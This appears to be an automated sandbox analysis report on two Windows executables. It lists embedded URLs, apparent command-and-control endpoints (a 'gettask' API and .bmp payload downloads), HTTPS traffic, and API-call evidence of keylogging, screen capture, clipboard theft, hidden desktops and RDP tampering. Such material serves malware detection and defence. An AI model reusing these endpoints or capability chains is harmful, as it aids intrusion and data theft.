Source: vhCQTUg.exe.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0S
Source: vhCQTUg.exe.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: vhCQTUg.exe.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: vhCQTUg.exe.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0
Source: 8CoDx513sS.exe	String found in binary or memory: http://curl.haxx.se/rfc/cookie_spec.html
Source: vhCQTUg.exe.0.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: vhCQTUg.exe.0.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: vhCQTUg.exe.0.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: vhCQTUg.exe.0.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: 8CoDx513sS.exe	String found in binary or memory: http://ocsp2.globalsign.com/gstimestampingsha2g20
Source: 8CoDx513sS.exe	String found in binary or memory: http://s1.symcb.com/pca3-g5.crl0
Source: 8CoDx513sS.exe	String found in binary or memory: http://s2.symcb.com0
Source: 8CoDx513sS.exe	String found in binary or memory: http://secure.globalsign.com/cacert/gstimestampingg2.crt0
Source: 8CoDx513sS.exe	String found in binary or memory: http://secure.globalsign.com/cacert/gstimestampingsha2g2.crt0
Source: 8CoDx513sS.exe	String found in binary or memory: http://sf.symcb.com/sf.crl0a
Source: 8CoDx513sS.exe	String found in binary or memory: http://sf.symcb.com/sf.crt0
Source: 8CoDx513sS.exe	String found in binary or memory: http://sf.symcd.com0&
Source: 8CoDx513sS.exe	String found in binary or memory: http://sv.symcb.com/sv.crl0a
Source: 8CoDx513sS.exe	String found in binary or memory: http://sv.symcb.com/sv.crt0
Source: 8CoDx513sS.exe	String found in binary or memory: http://sv.symcd.com0&
Source: 8CoDx513sS.exe	String found in binary or memory: http://tbsweb.browser.taobao.com/addCount.do?type=check&idList=
Source: 8CoDx513sS.exe	String found in binary or memory: http://tbsweb.browser.taobao.com/addCount.do?type=show&idList=
Source: 8CoDx513sS.exe	String found in binary or memory: http://tbsweb.browser.taobao.com/addCount.do?type=show&idList=http://tbsweb.browser.taobao.com/addCo
Source: 8CoDx513sS.exe	String found in binary or memory: http://tbsweb.browser.taobao.com/getSoftwareList.do?pid=
Source: 8CoDx513sS.exe	String found in binary or memory: http://tbsweb.browser.taobao.com/getSoftwareList.do?pid=typewow-config-updater
Source: 8CoDx513sS.exe	String found in binary or memory: http://ucip.uc.cn/get_ip_attr?type=1&format=0&caller=gj_pcbrowser&key=097a6150b0c772f7952807c0cb48fb
Source: 8CoDx513sS.exe	String found in binary or memory: http://uploadreport.browser.taobao.com/up_pass/browserupload.phpupfileactionAuthorizationBasic
Source: 8CoDx513sS.exe, 00000000.00000002.3413379040.0000000000940000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://web.ad87h92j.com/
Source: 8CoDx513sS.exe, 00000000.00000002.3415882106.00000000035D9000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://web.ad87h92j.com/4/d.bmpWhttp://web.ad87h92j.com/4/t.bmp
Source: 8CoDx513sS.exe, 00000000.00000002.3413379040.00000000008DE000.00000004.00000020.00020000.00000000.sdmp, 8CoDx513sS.exe, 00000000.00000002.3412659927.000000000019C000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://web.ad87h92j.com/4/laos.bmp
Source: 8CoDx513sS.exe, 00000000.00000002.3413379040.00000000008DE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://web.ad87h92j.com/4/laos.bmpD
Source: 8CoDx513sS.exe, 00000000.00000002.3413379040.00000000008DE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://web.ad87h92j.com/4/laos.bmpP
Source: 8CoDx513sS.exe, 00000000.00000002.3412659927.000000000019C000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://web.ad87h92j.com/4/laos.bmpwininetmsvcrt
Source: 8CoDx513sS.exe, 00000000.00000002.3413379040.00000000008DE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://web.ad87h92j.com/4/laos.bmp~
Source: 8CoDx513sS.exe, 00000000.00000002.3415882106.00000000035D9000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://web.ad87h92j.com/4/t.bmpmp
Source: 8CoDx513sS.exe, 00000000.00000003.3198816068.000000000095C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://web.ad87h92j.com/4/text.bmp
Source: 8CoDx513sS.exe, 00000000.00000002.3415882106.00000000035D9000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://web.ad87h92j.com/4/text.bmpC:
Source: 8CoDx513sS.exe	String found in binary or memory: http://wpa.qq.com/msgrd?v=3&uin=1729568005&site=qq&menu=yes
Source: 8CoDx513sS.exe	String found in binary or memory: http://wpa.qq.com/msgrd?v=3&uin=1729568005&site=qq&menu=yesluxury_installer
Source: libcef.dll.0.dr	String found in binary or memory: http://www.astro.com/swisseph.
Source: vhCQTUg.exe, vhCQTUg.exe, 00000007.00000002.3521913022.000000006C8AD000.00000002.00000001.01000000.00000007.sdmp, vhCQTUg.exe, 00000008.00000002.3595236834.000000006C8AD000.00000002.00000001.01000000.00000007.sdmp, libcef.dll.0.dr	String found in binary or memory: http://www.astrolog.org/astrolog.htm
Source: 8CoDx513sS.exe, 00000000.00000003.3381979003.000000000396C000.00000004.00000020.00020000.00000000.sdmp, 8CoDx513sS.exe, 00000000.00000003.3270318694.000000001003F000.00000004.00000020.00020000.00000000.sdmp, vhCQTUg.exe, 00000006.00000002.4034802326.000000006C8AD000.00000002.00000001.01000000.00000007.sdmp, vhCQTUg.exe, 00000007.00000002.3521913022.000000006C8AD000.00000002.00000001.01000000.00000007.sdmp, vhCQTUg.exe, 00000008.00000002.3595236834.000000006C8AD000.00000002.00000001.01000000.00000007.sdmp, libcef.dll.0.dr	String found in binary or memory: http://www.astrolog.org/astrolog.htmMain
Source: vhCQTUg.exe.0.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: libcef.dll.0.dr	String found in binary or memory: http://www.gnu.org
Source: 8CoDx513sS.exe	String found in binary or memory: http://www.symauth.com/cps0(
Source: 8CoDx513sS.exe	String found in binary or memory: http://www.symauth.com/rpa00
Source: 8CoDx513sS.exe	String found in binary or memory: http://www.uc.cn/pc/agreement.html
Source: 8CoDx513sS.exe	String found in binary or memory: http://www.uc.cn/pc/agreement.htmlhttp://www.uc.cn/pc/index.html
Source: 8CoDx513sS.exe	String found in binary or memory: http://www.uc.cn/pc/agreement.htmlhttp://www.uc.cn/pc/index.htmlS
Source: 8CoDx513sS.exe	String found in binary or memory: http://www.uc.cn/pc/index.html
Source: vhCQTUg.exe, 00000006.00000002.4034117410.00000000032EE000.00000004.00000020.00020000.00000000.sdmp, vhCQTUg.exe, 00000006.00000002.4034621580.0000000010064000.00000002.00001000.00020000.00000000.sdmp, vhCQTUg.exe, 00000006.00000002.4034195166.00000000033ED000.00000040.00000020.00020000.00000000.sdmp	String found in binary or memory: https:///api.php/common/gettask/api.php/common/getdomain.200idleActivityTimePlugingsleep
Source: vhCQTUg.exe, 00000006.00000002.4033734662.00000000012DE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://caces.goldenh0ur.com:443/api.php/common/getdomain
Source: 8CoDx513sS.exe	String found in binary or memory: https://d.symcb.com/cps0%
Source: 8CoDx513sS.exe	String found in binary or memory: https://d.symcb.com/rpa0
Source: vhCQTUg.exe, vhCQTUg.exe, 00000007.00000002.3521913022.000000006C8AD000.00000002.00000001.01000000.00000007.sdmp, vhCQTUg.exe, 00000008.00000002.3595236834.000000006C8AD000.00000002.00000001.01000000.00000007.sdmp, libcef.dll.0.dr	String found in binary or memory: https://data.iana.org/time-zones/tz-link.html
Source: 8CoDx513sS.exe, 00000000.00000003.3381979003.000000000396C000.00000004.00000020.00020000.00000000.sdmp, 8CoDx513sS.exe, 00000000.00000003.3270318694.000000001003F000.00000004.00000020.00020000.00000000.sdmp, vhCQTUg.exe, 00000006.00000002.4034802326.000000006C8AD000.00000002.00000001.01000000.00000007.sdmp, vhCQTUg.exe, 00000007.00000002.3521913022.000000006C8AD000.00000002.00000001.01000000.00000007.sdmp, vhCQTUg.exe, 00000008.00000002.3595236834.000000006C8AD000.00000002.00000001.01000000.00000007.sdmp, libcef.dll.0.dr	String found in binary or memory: https://data.iana.org/time-zones/tz-link.htmlPostScript
Source: 8CoDx513sS.exe	String found in binary or memory: https://mmstat.ucweb.com/bluesky.
Source: 8CoDx513sS.exe	String found in binary or memory: https://mmstat.ucweb.com/bluesky.verThe
Source: vhCQTUg.exe, 00000006.00000002.4033734662.0000000001347000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mvc.withoutyou5.com/
Source: vhCQTUg.exe, 00000006.00000002.4033734662.0000000001347000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mvc.withoutyou5.com/L8
Source: vhCQTUg.exe, 00000006.00000002.4033734662.0000000001347000.00000004.00000020.00020000.00000000.sdmp, vhCQTUg.exe, 00000006.00000003.3456137134.00000000013A0000.00000004.00000020.00020000.00000000.sdmp, vhCQTUg.exe, 00000006.00000003.3520313648.00000000013A1000.00000004.00000020.00020000.00000000.sdmp, vhCQTUg.exe, 00000006.00000002.4033734662.0000000001324000.00000004.00000020.00020000.00000000.sdmp, vhCQTUg.exe, 00000006.00000002.4033734662.000000000133D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mvc.withoutyou5.com/api.php/common/gettask
Source: vhCQTUg.exe, 00000006.00000002.4033734662.0000000001347000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mvc.withoutyou5.com/api.php/common/gettaskk
Source: vhCQTUg.exe, 00000006.00000002.4033734662.0000000001347000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mvc.withoutyou5.com/r3
Source: vhCQTUg.exe, 00000006.00000002.4033734662.0000000001347000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mvc.withoutyou5.com/u8
Source: vhCQTUg.exe, 00000006.00000002.4033734662.0000000001347000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mvc.withoutyou5.com/~8
Source: vhCQTUg.exe, 00000006.00000002.4033734662.00000000012DE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mvc.withoutyou5.com:443/api.php/common/gettask
Source: vhCQTUg.exe, 00000006.00000002.4033734662.00000000012DE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mvc.withoutyou5.com:443/api.php/common/gettaskre
Source: vhCQTUg.exe, 00000006.00000002.4033734662.00000000012DE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://mvc.withoutyou5.com:443/api.php/common/gettaskson
Source: vhCQTUg.exe, 00000006.00000002.4033130426.00000000007F3000.00000002.00000001.01000000.00000006.sdmp, vhCQTUg.exe, 00000007.00000002.3520494784.00000000007F3000.00000002.00000001.01000000.00000006.sdmp, vhCQTUg.exe, 00000008.00000002.3593691505.00000000007F3000.00000002.00000001.01000000.00000006.sdmp	String found in binary or memory: https://support.ubi.com/
Source: vhCQTUg.exe, 00000006.00000002.4033130426.00000000007F3000.00000002.00000001.01000000.00000006.sdmp, vhCQTUg.exe, 00000007.00000002.3520494784.00000000007F3000.00000002.00000001.01000000.00000006.sdmp, vhCQTUg.exe, 00000008.00000002.3593691505.00000000007F3000.00000002.00000001.01000000.00000006.sdmp	String found in binary or memory: https://support.ubi.com/?GenomeId=954e66a0-be1b-4aa0-9690-fb75201e4e9epidRequired
Source: vhCQTUg.exe, vhCQTUg.exe, 00000007.00000002.3521913022.000000006C8AD000.00000002.00000001.01000000.00000007.sdmp, vhCQTUg.exe, 00000008.00000002.3595236834.000000006C8AD000.00000002.00000001.01000000.00000007.sdmp, libcef.dll.0.dr	String found in binary or memory: https://www.geonames.org/
Source: 8CoDx513sS.exe, 00000000.00000003.3381979003.000000000396C000.00000004.00000020.00020000.00000000.sdmp, 8CoDx513sS.exe, 00000000.00000003.3270318694.000000001003F000.00000004.00000020.00020000.00000000.sdmp, vhCQTUg.exe, 00000006.00000002.4034802326.000000006C8AD000.00000002.00000001.01000000.00000007.sdmp, vhCQTUg.exe, 00000007.00000002.3521913022.000000006C8AD000.00000002.00000001.01000000.00000007.sdmp, vhCQTUg.exe, 00000008.00000002.3595236834.000000006C8AD000.00000002.00000001.01000000.00000007.sdmp, libcef.dll.0.dr	String found in binary or memory: https://www.geonames.org/Timezone
Source: 8CoDx513sS.exe	String found in binary or memory: https://www.globalsign.com/repository/0
Source: 8CoDx513sS.exe	String found in binary or memory: https://www.globalsign.com/repository/03
Source: 8CoDx513sS.exe	String found in binary or memory: https://www.globalsign.com/repository/06

Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734

Source: unknown	HTTPS traffic detected: 104.21.17.45:443 -> 192.168.2.6:49724 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.72.137:443 -> 192.168.2.6:49725 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.72.137:443 -> 192.168.2.6:49726 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.72.137:443 -> 192.168.2.6:49727 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.72.137:443 -> 192.168.2.6:49728 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.72.137:443 -> 192.168.2.6:49729 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.72.137:443 -> 192.168.2.6:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.72.137:443 -> 192.168.2.6:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.72.137:443 -> 192.168.2.6:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.72.137:443 -> 192.168.2.6:49734 version: TLS 1.2

Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe

Code function: 6_2_6C861BA1 GetDeviceCaps,LoadCursorA,SetCursor,_memset,SelectObject,BeginPaint,CreateCompatibleDC,CreateCompatibleBitmap,SelectObject,BitBlt,SetWindowOrgEx,SetWindowExtEx,SetBkMode,CreateFontA,SelectObject,_sprintf,DeleteObject,SelectObject,DeleteObject,BitBlt,SelectObject,DeleteObject,DeleteDC,EndPaint,SetCursor,PostMessageA,_lopen,_llseek,GlobalAlloc,GlobalLock,GlobalLock,_llseek,_hread,_lclose,_sprintf,_sprintf,GlobalUnlock,GlobalUnlock,OpenClipboard,EmptyClipboard,RegisterClipboardFormatA,GlobalLock,SetMetaFileBitsEx,GlobalUnlock,GlobalAlloc,GlobalLock,GlobalUnlock,SetClipboardData,CloseClipboard,

6_2_6C861BA1

Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 6_2_03419024 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,GlobalUnlock,SetClipboardData,CloseClipboard,OpenClipboard,GetClipboardData,GlobalLock,CloseClipboard,	6_2_03419024
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 6_2_03412DE6 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,GlobalUnlock,SetClipboardData,CloseClipboard,	6_2_03412DE6
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 6_2_1002C000 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,GlobalUnlock,SetClipboardData,CloseClipboard,OpenClipboard,GetClipboardData,GlobalLock,CloseClipboard,	6_2_1002C000

Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe

Code function: 6_2_03419024 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,GlobalUnlock,SetClipboardData,CloseClipboard,OpenClipboard,GetClipboardData,GlobalLock,CloseClipboard,

6_2_03419024

Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe

Code function: 6_2_0341BB04 GetDesktopWindow,GetWindowRect,GetDC,CreateCompatibleDC,CreateCompatibleBitmap,SelectObject,GetTopWindow,GetWindow,GetWindow,CreateCompatibleBitmap,CreateCompatibleDC,SelectObject,SetStretchBltMode,StretchBlt,DeleteObject,DeleteDC,GetDIBits,DeleteObject,ReleaseDC,DeleteDC,

6_2_0341BB04

Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe

Code function: 6_2_03415A54 Sleep,CreateMutexA,GetLastError,CloseHandle,InitializeSecurityDescriptor,SetSecurityDescriptorDacl,CreateFileMappingA,Sleep,GetForegroundWindow,GetWindowTextA,lstrlen,GetLocalTime,wsprintfA,GetAsyncKeyState,lstrcat,Sleep,ReleaseMutex,

6_2_03415A54

E-Banking Fraud

Checks if browser processes are running

Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe

Code function: SHGetFolderPathA,lstrcpy,CreateFileA,GetFileSize,ReadFile,_strstr,_strstr,_strstr,lstrcpy,lstrcpy,lstrcpy,CreateProcessA,CloseHandle, firefox.exe

6_2_0341A744

Spam, unwanted Advertisements and Ransom Demands

Contains functionalty to change the wallpaper

Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 6_2_6C878C7D ReleaseMutex,WriteProfileStringA,WriteProfileStringA,WriteProfileStringA,SystemParametersInfoA,		6_2_6C878C7D
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 7_2_6C878C7D ReleaseMutex,WriteProfileStringA,WriteProfileStringA,WriteProfileStringA,SystemParametersInfoA,		7_2_6C878C7D

Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe

Code function: 6_2_0341C124 OpenDesktopA,CreateDesktopA,SetThreadDesktop,CreateThread,WaitForSingleObject,CloseHandle,

6_2_0341C124

System Summary

Malicious sample detected (through community Yara rule)

Source: 6.2.vhCQTUg.exe.32eec24.1.unpack, type: UNPACKEDPE	Matched rule: Detects executables embedding registry key / value combination manipulating RDP / Terminal Services Author: ditekSHen
Source: 6.2.vhCQTUg.exe.33edc24.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables embedding registry key / value combination manipulating RDP / Terminal Services Author: ditekSHen
Source: 6.2.vhCQTUg.exe.32eec24.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables embedding registry key / value combination manipulating RDP / Terminal Services Author: ditekSHen
Source: 6.2.vhCQTUg.exe.33edc24.2.unpack, type: UNPACKEDPE	Matched rule: Detects executables embedding registry key / value combination manipulating RDP / Terminal Services Author: ditekSHen

Drops password protected ZIP file

Source: t3d.tmp.0.dr	Zip Entry: encrypted
Source: t3d.tmp.0.dr	Zip Entry: encrypted
Source: t3d.tmp.0.dr	Zip Entry: encrypted

Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe

Code function: 6_2_03417236 LocalAlloc,OpenSCManagerA,OpenServiceA,GetLastError,QueryServiceStatus,ControlService,DeleteService,CloseServiceHandle,CloseServiceHandle,Sleep,lstrlen,LocalSize,lstrlen,LocalReAlloc,lstrlen,lstrlen,lstrlen,LocalFree,

6_2_03417236

Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe

Code function: 6_2_034051F4 ExitWindowsEx,

6_2_034051F4

Source: C:\Users\user\Desktop\8CoDx513sS.exe	Code function: 0_2_004BB216	0_2_004BB216
Source: C:\Users\user\Desktop\8CoDx513sS.exe	Code function: 0_2_02510031	0_2_02510031
Source: C:\Users\user\Desktop\8CoDx513sS.exe	Code function: 0_2_02525274	0_2_02525274
Source: C:\Users\user\Desktop\8CoDx513sS.exe	Code function: 0_2_0251C154	0_2_0251C154
Source: C:\Users\user\Desktop\8CoDx513sS.exe	Code function: 0_2_02526E06	0_2_02526E06
Source: C:\Users\user\Desktop\8CoDx513sS.exe	Code function: 0_2_0251768D	0_2_0251768D
Source: C:\Users\user\Desktop\8CoDx513sS.exe	Code function: 0_2_025257C5	0_2_025257C5
Source: C:\Users\user\Desktop\8CoDx513sS.exe	Code function: 0_2_02516CF2	0_2_02516CF2
Source: C:\Users\user\Desktop\8CoDx513sS.exe	Code function: 0_2_02524D23	0_2_02524D23
Source: C:\Users\user\Desktop\8CoDx513sS.exe	Code function: 0_2_100064EE	0_2_100064EE
Source: C:\Users\user\Desktop\8CoDx513sS.exe	Code function: 0_2_10008BEA	0_2_10008BEA
Source: C:\Users\user\Desktop\8CoDx513sS.exe	Code function: 0_2_10006CEE	0_2_10006CEE
Source: C:\Users\user\Desktop\8CoDx513sS.exe	Code function: 0_2_10014D1F	0_2_10014D1F
Source: C:\Users\user\Desktop\8CoDx513sS.exe	Code function: 0_2_1000C150	0_2_1000C150
Source: C:\Users\user\Desktop\8CoDx513sS.exe	Code function: 0_2_10016E02	0_2_10016E02
Source: C:\Users\user\Desktop\8CoDx513sS.exe	Code function: 0_2_10015270	0_2_10015270
Source: C:\Users\user\Desktop\8CoDx513sS.exe	Code function: 0_2_10007689	0_2_10007689
Source: C:\Users\user\Desktop\8CoDx513sS.exe	Code function: 0_2_100157C1	0_2_100157C1
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 6_2_6C845835	6_2_6C845835
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 6_2_6C801112	6_2_6C801112
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 6_2_6C809CCA	6_2_6C809CCA
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 6_2_6C889CC5	6_2_6C889CC5
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 6_2_6C8A1CD1	6_2_6C8A1CD1
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 6_2_6C85DD8F	6_2_6C85DD8F
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 6_2_6C84BDD0	6_2_6C84BDD0
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 6_2_6C85EDF5	6_2_6C85EDF5
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 6_2_6C891D12	6_2_6C891D12
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 6_2_6C81CD32	6_2_6C81CD32
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 6_2_6C87BD48	6_2_6C87BD48
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 6_2_6C896D46	6_2_6C896D46
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 6_2_6C869D7B	6_2_6C869D7B
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 6_2_6C81AED7	6_2_6C81AED7
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 6_2_6C879E12	6_2_6C879E12
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 6_2_6C873E4C	6_2_6C873E4C
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 6_2_6C808E60	6_2_6C808E60
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 6_2_6C8A8E6E	6_2_6C8A8E6E
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 6_2_6C81BFD7	6_2_6C81BFD7
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 6_2_6C897F37	6_2_6C897F37
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 6_2_6C81DF3F	6_2_6C81DF3F
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 6_2_6C81387C	6_2_6C81387C
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 6_2_6C885990	6_2_6C885990
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 6_2_6C8899C6	6_2_6C8899C6
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 6_2_6C8409DA	6_2_6C8409DA
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 6_2_6C88B9D7	6_2_6C88B9D7
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 6_2_6C8A1933	6_2_6C8A1933
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 6_2_6C826973	6_2_6C826973
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 6_2_6C88CAA5	6_2_6C88CAA5
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 6_2_6C817BAA	6_2_6C817BAA
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 6_2_6C815BBD	6_2_6C815BBD
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 6_2_6C870BCC	6_2_6C870BCC
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 6_2_6C80EBF4	6_2_6C80EBF4
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 6_2_6C8A248B	6_2_6C8A248B
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 6_2_6C8A149E	6_2_6C8A149E
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 6_2_6C80B41A	6_2_6C80B41A
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 6_2_6C8305B3	6_2_6C8305B3
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 6_2_6C84B5D7	6_2_6C84B5D7
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 6_2_6C89B503	6_2_6C89B503
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 6_2_6C814544	6_2_6C814544
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 6_2_6C848689	6_2_6C848689
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 6_2_6C815698	6_2_6C815698
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 6_2_6C874698	6_2_6C874698
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 6_2_6C8786B7	6_2_6C8786B7
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 6_2_6C87F6C9	6_2_6C87F6C9
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 6_2_6C8967F5	6_2_6C8967F5
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 6_2_6C88974B	6_2_6C88974B
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 6_2_6C84D768	6_2_6C84D768
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 6_2_6C8A20A3	6_2_6C8A20A3
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 6_2_6C82E0D8	6_2_6C82E0D8
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 6_2_6C877003	6_2_6C877003
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 6_2_6C872025	6_2_6C872025
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 6_2_6C86B07C	6_2_6C86B07C
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 6_2_6C85A192	6_2_6C85A192
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 6_2_6C80E1C8	6_2_6C80E1C8
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 6_2_6C8962A6	6_2_6C8962A6
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 6_2_6C8182B2	6_2_6C8182B2
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 6_2_6C8A42E1	6_2_6C8A42E1
Source: C:\Program Files (x86)\cSNNeBKH\vhCQTUg.exe	Code function: 6_2_6C8662E8	6_2_6C8662E8
